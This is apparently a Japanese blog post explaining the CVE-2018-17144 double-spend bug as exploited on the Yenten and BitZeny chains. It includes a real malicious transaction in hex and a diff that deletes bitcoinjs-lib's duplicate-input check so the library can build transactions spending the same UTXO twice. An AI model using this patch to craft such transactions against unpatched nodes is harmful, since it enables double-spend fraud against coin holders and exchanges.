[供養] CVE-2018-17144の二重支払いトランザクションを作ってみよう

# Prologue
YentenとかBitZenyで二重支払いトランザクションが作られて承認され、大変なことになりましたね。

<blockquote class="twitter-tweet" data-lang="ja"><p lang="ja" dir="ltr">これは大変なことやと思うよ (最低3本のチェーンが存在する) <a href="https://t.co/iHWvDEpam1">pic.twitter.com/iHWvDEpam1</a></p>&mdash; nao20010128nao@LetsMineZNY.orz.hm (@2ndLesmi) <a href="https://twitter.com/2ndLesmi/status/1059344828008292353">2018年11月5日</a></blockquote>
<script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>

その事態の割に、作り方は難しくないのです。

# Analyze
不正トランザクションの一つが、これです。(BitZenyの`c0d82bd87257d12106d046be0803f92de55eaa4316912c836ddf9320f2663040`のもの)

```
01000000013ee1bc22e68bb309c6875259e672c2f791af876be6bb76313f5c22a1aa087ae4000000008a473044022067a2edfc50ddc67346770cc3afd600937c69fe2135b2c71e1ff82f5d51e46a1b0220169becbd124ba2acec56a0ca573c661d6e32f87c45c759150afb3f30b41c39070141043ae0fe272e460e9b2c72e42579126142b42cc9d49cc1a00462bcbdf66f50d9ef28f5adfed6d2e4049b275448bbb994360b3eef533906a269837c5bc420cf8a73ffffffff14cef87710f35a00001976a9143c0be30475baef7da3d1ffbf48fc6b1fc994ff9e88accef87710f35a00001976a9143c0be30475baef7da3d1ffbf48fc6b1fc994ff9e88accef87710f35a00001976a9143c0be30475baef7da3d1ffbf48fc6b1fc994ff9e88accef87710f35a00001976a9143c0be30475baef7da3d1ffbf48fc6b1fc994ff9e88accef87710f35a00001976a9143c0be30475baef7da3d1ffbf48fc6b1fc994ff9e88accef87710f35a00001976a9143c0be30475baef7da3d1ffbf48fc6b1fc994ff9e88accef87710f35a00001976a9143c0be30475baef7da3d1ffbf48fc6b1fc994ff9e88accef87710f35a00001976a9143c0be30475baef7da3d1ffbf48fc6b1fc994ff9e88accef87710f35a00001976a9143c0be30475baef7da3d1ffbf48fc6b1fc994ff9e88accef87710f35a00001976a9143c0be30475baef7da3d1ffbf48fc6b1fc994ff9e88accef87710f35a00001976a9143c0be30475baef7da3d1ffbf48fc6b1fc994ff9e88accef87710f35a00001976a9143c0be30475baef7da3d1ffbf48fc6b1fc994ff9e88accef87710f35a00001976a9143c0be30475baef7da3d1ffbf48fc6b1fc994ff9e88accef87710f35a00001976a9143c0be30475baef7da3d1ffbf48fc6b1fc994ff9e88accef87710f35a00001976a9143c0be30475baef7da3d1ffbf48fc6b1fc994ff9e88accef87710f35a00001976a9143c0be30475baef7da3d1ffbf48fc6b1fc994ff9e88accef87710f35a00001976a9143c0be30475baef7da3d1ffbf48fc6b1fc994ff9e88accef87710f35a00001976a9143c0be30475baef7da3d1ffbf48fc6b1fc994ff9e88accef87710f35a00001976a9143c0be30475baef7da3d1ffbf48fc6b1fc994ff9e88accef87710f35a00001976a9143c0be30475baef7da3d1ffbf48fc6b1fc994ff9e88ac00000000
```

[BlockCypher](https://live.blockcypher.com/btc/decodetx/)に掛けてみると[こんな感じ](https://gist.github.com/nao20010128nao/8fe8bc342bf93f9ccc4846498ce73f24#file-blockcypher-json)。

# Making
「二重支払い」と言うほどですから、VInに同じUTXOが2つ以上並ぶわけです。そう、これだけ。
どこをどう、とまでは言いませんが、coindを少しいじる必要がありそうです。

bitcoinjs-libで作る場合、以下のパッチを当てて下さい。

```diff:bitcoinjs-lib.patch
diff --git a/src/transaction_builder.js b/src/transaction_builder.js
index 5760fac..ee1f8f2 100644
--- a/src/transaction_builder.js
+++ b/src/transaction_builder.js
@@ -560,7 +560,6 @@ TransactionBuilder.prototype.__addInputUnsafe = function (txHash, vout, options)
   }
 
   var prevTxOut = txHash.toString('hex') + ':' + vout
-  if (this.prevTxMap[prevTxOut] !== undefined) throw new Error('Duplicate TxOut: ' + prevTxOut)
 
   var input = {}
 
```


# 供養
既に対策されているので、供養として公開します。やりたければ後は頑張って下さい。以上。